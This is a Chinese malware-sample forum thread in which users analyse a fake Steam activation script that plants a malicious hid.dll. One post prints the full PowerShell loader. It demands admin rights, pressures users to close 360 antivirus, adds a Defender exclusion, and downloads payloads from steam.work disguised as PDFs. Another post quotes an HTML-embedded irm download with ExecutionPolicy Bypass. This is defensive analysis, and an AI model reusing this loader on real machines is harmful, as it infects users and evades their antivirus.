楼主: hsks
收起左侧

[病毒样本] 赛博花柳病 黑dll

[复制链接]
QVM360
发表于 2024-7-13 22:39:38 | 显示全部楼层
这玩意不是html文本吗,怎么是ps1
hsks
 楼主| 发表于 2024-7-13 22:48:49 | 显示全部楼层
QVM360 发表于 2024-7-13 22:39
这玩意不是html文本吗,怎么是ps1

我看triage用ps1脚本能运行就改成ps1后缀了(
ANY.LNK
发表于 2024-7-13 22:49:02 | 显示全部楼层
QVM360 发表于 2024-7-13 22:39
这玩意不是html文本吗,怎么是ps1

这不会是Steam的页面吧,页面标题是Welcome To Steam
QVM360
发表于 2024-7-13 22:50:15 | 显示全部楼层
hsks 发表于 2024-7-13 22:48
我看triage用ps1脚本能运行就改成ps1后缀了(

我实体机双击运行没运行成功
hsks
 楼主| 发表于 2024-7-13 23:00:29 | 显示全部楼层
QVM360 发表于 2024-7-13 22:50
我实体机双击运行没运行成功

看了下,还真是html文本
我把隔壁锁下,这个帖子贴的是最终的dll
hsks
 楼主| 发表于 2024-7-13 23:03:28 | 显示全部楼层
QVM360 发表于 2024-7-13 22:50
我实体机双击运行没运行成功

找到ps1样本了,但payload可能拉不下来了
https://www.virustotal.com/gui/f ... d2bad7bd6/detection
QVM360
发表于 2024-7-13 23:11:59 | 显示全部楼层
hsks 发表于 2024-7-13 23:03
找到ps1样本了,但payload可能拉不下来了
https://www.virustotal.com/gui/file/247d3536678aa724d7483a ...
  1. cls
  2. Write-Host -NoNewline "          _____                _____                    _____                    _____                    _____          `r" -ForegroundColor:blue
  3. Write-Host -NoNewline "         /\    \              /\    \                  /\    \                  /\    \                  /\    \         `r" -ForegroundColor:blue
  4. Write-Host -NoNewline "        /::\    \            /::\    \                /::\    \                /::\    \                /::\____\        `r" -ForegroundColor:blue
  5. Write-Host -NoNewline "       /::::\    \           \:::\    \              /::::\    \              /::::\    \              /::::|   |        `r" -ForegroundColor:blue
  6. Write-Host -NoNewline "      /::::::\    \           \:::\    \            /::::::\    \            /::::::\    \            /:::::|   |        `r" -ForegroundColor:blue
  7. Write-Host -NoNewline "     /:::/\:::\    \           \:::\    \          /:::/\:::\    \          /:::/\:::\    \          /::::::|   |        `r" -ForegroundColor:blue
  8. Write-Host -NoNewline "    /:::/__\:::\    \           \:::\    \        /:::/__\:::\    \        /:::/__\:::\    \        /:::/|::|   |        `r" -ForegroundColor:blue
  9. Write-Host -NoNewline "    \:::\   \:::\    \          /::::\    \      /::::\   \:::\    \      /::::\   \:::\    \      /:::/ |::|   |        `r" -ForegroundColor:blue
  10. Write-Host -NoNewline "  ___\:::\   \:::\    \        /::::::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \    /:::/  |::|___|______  `r" -ForegroundColor:blue
  11. Write-Host -NoNewline " /\   \:::\   \:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\    \  /:::/\:::\   \:::\    \  /:::/   |::::::::\    \ `r" -ForegroundColor:blue
  12. Write-Host -NoNewline "/::\   \:::\   \:::\____\    /:::/  \:::\____\/:::/__\:::\   \:::\____\/:::/  \:::\   \:::\____\/:::/    |:::::::::\____\`r" -ForegroundColor:blue
  13. Write-Host -NoNewline "\:::\   \:::\   \::/    /   /:::/    \::/    /\:::\   \:::\   \::/    /\::/    \:::\  /:::/    /\::/    / ~~~~~/:::/    /`r" -ForegroundColor:blue
  14. Write-Host -NoNewline " \:::\   \:::\   \/____/   /:::/    / \/____/  \:::\   \:::\   \/____/  \/____/ \:::\/:::/    /  \/____/      /:::/    / `r" -ForegroundColor:blue
  15. Write-Host -NoNewline "  \:::\   \:::\    \      /:::/    /            \:::\   \:::\    \               \::::::/    /               /:::/    /  `r" -ForegroundColor:blue
  16. Write-Host -NoNewline "   \:::\   \:::\____\    /:::/    /              \:::\   \:::\____\               \::::/    /               /:::/    /   `r" -ForegroundColor:blue
  17. Write-Host -NoNewline "    \:::\  /:::/    /    \::/    /                \:::\   \::/    /               /:::/    /               /:::/    /    `r" -ForegroundColor:blue
  18. Write-Host -NoNewline "     \:::\/:::/    /      \/____/                  \:::\   \/____/               /:::/    /               /:::/    /     `r" -ForegroundColor:blue
  19. Write-Host -NoNewline "      \::::::/    /                                 \:::\    \                  /:::/    /               /:::/    /      `r" -ForegroundColor:blue
  20. Write-Host -NoNewline "       \::::/    /                                   \:::\____\                /:::/    /               /:::/    /       `r" -ForegroundColor:blue
  21. Write-Host -NoNewline "        \::/    /                                     \::/    /                \::/    /                \::/    /        `r" -ForegroundColor:blue
  22. Write-Host -NoNewline "         \/____/                                       \/____/                  \/____/                  \/____/         `r" -ForegroundColor:blue

  23. $filePathToDelete = Join-Path $env:USERPROFILE "x.ps1"
  24. if (Test-Path $filePathToDelete) {
  25.     Remove-Item -Path $filePathToDelete
  26. }
  27. $desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "x.ps1"
  28. if (Test-Path $desktopFilePathToDelete) {
  29.     Remove-Item -Path $desktopFilePathToDelete
  30. }

  31. $steamRegPath = 'HKCU:\Software\Valve\Steam'
  32. $localPath = -join ($env:LOCALAPPDATA,"\SteamActive")
  33. if ((Test-Path $steamRegPath)) {
  34.     $properties = Get-ItemProperty -Path $steamRegPath
  35.     if ($properties.PSObject.Properties.Name -contains 'SteamPath') {
  36.         $steamPath = $properties.SteamPath
  37.     }
  38. }

  39. if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
  40.     Write-Host "[请重新打开Power shell 打开方式以管理员身份运行]" -ForegroundColor:red
  41.     exit
  42. }

  43. function PwStart() {
  44.     if(Get-Process "360Tray*" -ErrorAction Stop){
  45.         while(Get-Process 360Tray* -ErrorAction Stop){
  46.             Write-Host "[请先退出360安全卫士]" -ForegroundColor:Red
  47.             Start-Sleep 1.5
  48.         }
  49.         PwStart

  50.     }
  51.     if(Get-Process "360sd*" -ErrorAction Stop)
  52.     {
  53.         while(Get-Process 360sd* -ErrorAction Stop){
  54.             Write-Host "[请先退出360杀毒]" -ForegroundColor:Red
  55.             Start-Sleep 1.5
  56.         }
  57.         PwStart
  58.     }

  59.     if ($steamPath -eq ""){
  60.         Write-Host "[请检查您的Steam是否正确安装]" -ForegroundColor:Red
  61.         exit
  62.     }
  63.     Write-Host "[ServerStart        OK]" -ForegroundColor:green
  64.     Stop-Process -Name steam* -Force -ErrorAction Stop
  65.     Start-Sleep 2
  66.     if(Get-Process steam* -ErrorAction Stop){
  67.         TASKKILL /F /IM "steam.exe" | Out-Null
  68.         Start-Sleep 2
  69.     }

  70.     if (!(Test-Path $localPath)) {
  71.         md $localPath | Out-Null
  72.         if (!(Test-Path $localPath)) {
  73.             New-Item $localPath -ItemType directory -Force | Out-Null
  74.         }
  75.     }

  76.     $catchPath = -join ($steamPath,"\package\data")
  77.     if ((Test-Path $catchPath)) {
  78.         if ((Test-Path $catchPath)) {
  79.             Remove-Item $catchPath -Recurse -Force | Out-Null
  80.         }
  81.     }

  82.     try{
  83.         Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop
  84.         Start-Sleep 3
  85.     }catch{}

  86.     Write-Host "[Result->0          OK]" -ForegroundColor:green

  87.     try{
  88.         $d = $steamPath + "/version.dll"
  89.         if (Test-Path $d) {
  90.             Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
  91.         }
  92.         $d = $steamPath + "/user32.dll"
  93.         if (Test-Path $d) {
  94.             Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
  95.         }
  96.         $d = $steamPath + "/steam.cfg"
  97.         if (Test-Path $d) {
  98.             Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
  99.         }
  100.         $d = $steamPath + "/hid.dll"
  101.         if (Test-Path $d) {
  102.             Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
  103.         }
  104.     }catch{
  105.         Write-Host "[异常残留请检查[$d]文件是否异常!]" -ForegroundColor:red
  106.         exit
  107.     }

  108.     $downloadData = "http://steam.work/pwsDwFile/bcfc1e52ca77ad82122dfe4c9560f3ec.pdf"
  109.     $downloadLink = "http://steam.work/pwsDwFile/9b96dac2bb0ba18d56068fabc5b17185.pdf"
  110.    
  111.     irm -Uri $downloadLink -OutFile $d -ErrorAction Stop
  112.     Write-Host "[Result->1          OK]" -ForegroundColor:green
  113.     $d = $localPath + "/hid"
  114.     irm -Uri $downloadData -OutFile $d -ErrorAction Stop
  115.     Write-Host "[Result->2          OK]" -ForegroundColor:green
  116.    
  117.     Start-Sleep 1

  118.     Start steam://
  119.     Write-Host "[连接服务器成功请在Steam输入激活码 3秒后自动关闭]" -ForegroundColor:green
  120.     Start-Sleep 3
  121.    
  122.     $processID = Get-CimInstance Win32_Process -Filter "ProcessId = '$pid'"
  123.     Stop-Process -Id $processID.ParentProcessId -Force
  124.     exit

  125. }

  126. PwStart
复制代码
00006666
发表于 2024-7-13 23:14:17 | 显示全部楼层
本帖最后由 00006666 于 2024-7-13 23:15 编辑

相关IP的通信样本能找到52个,行为基本差不多

https://ti.qianxin.com/v2/search?type=ip&value=1.198.4.249
Eset小粉絲
发表于 2024-7-13 23:15:57 | 显示全部楼层
html 嵌入 powershell
Line 29 irm steam.work/pwsDwFile/new -OutFile x.ps1
Line 230 powershell.exe -ExecutionPolicy Bypass -File x.ps1;
Anyway
New malicious software was found in the attached file. Its detection will be included in the next update.
Thank you for your help.

Best regards, Denis Sitchikhin, Malware Analyst


hsks
 楼主| 发表于 2024-7-13 23:18:56 | 显示全部楼层
Eset小粉絲 发表于 2024-7-13 23:15
html 嵌入 powershell
Line 29 irm steam.work/pwsDwFile/new -OutFile x.ps1
Line 230 powershell.exe - ...

所以那个html还是恶意的?
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-5-15 08:52 , Processed in 0.086808 second(s), 15 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表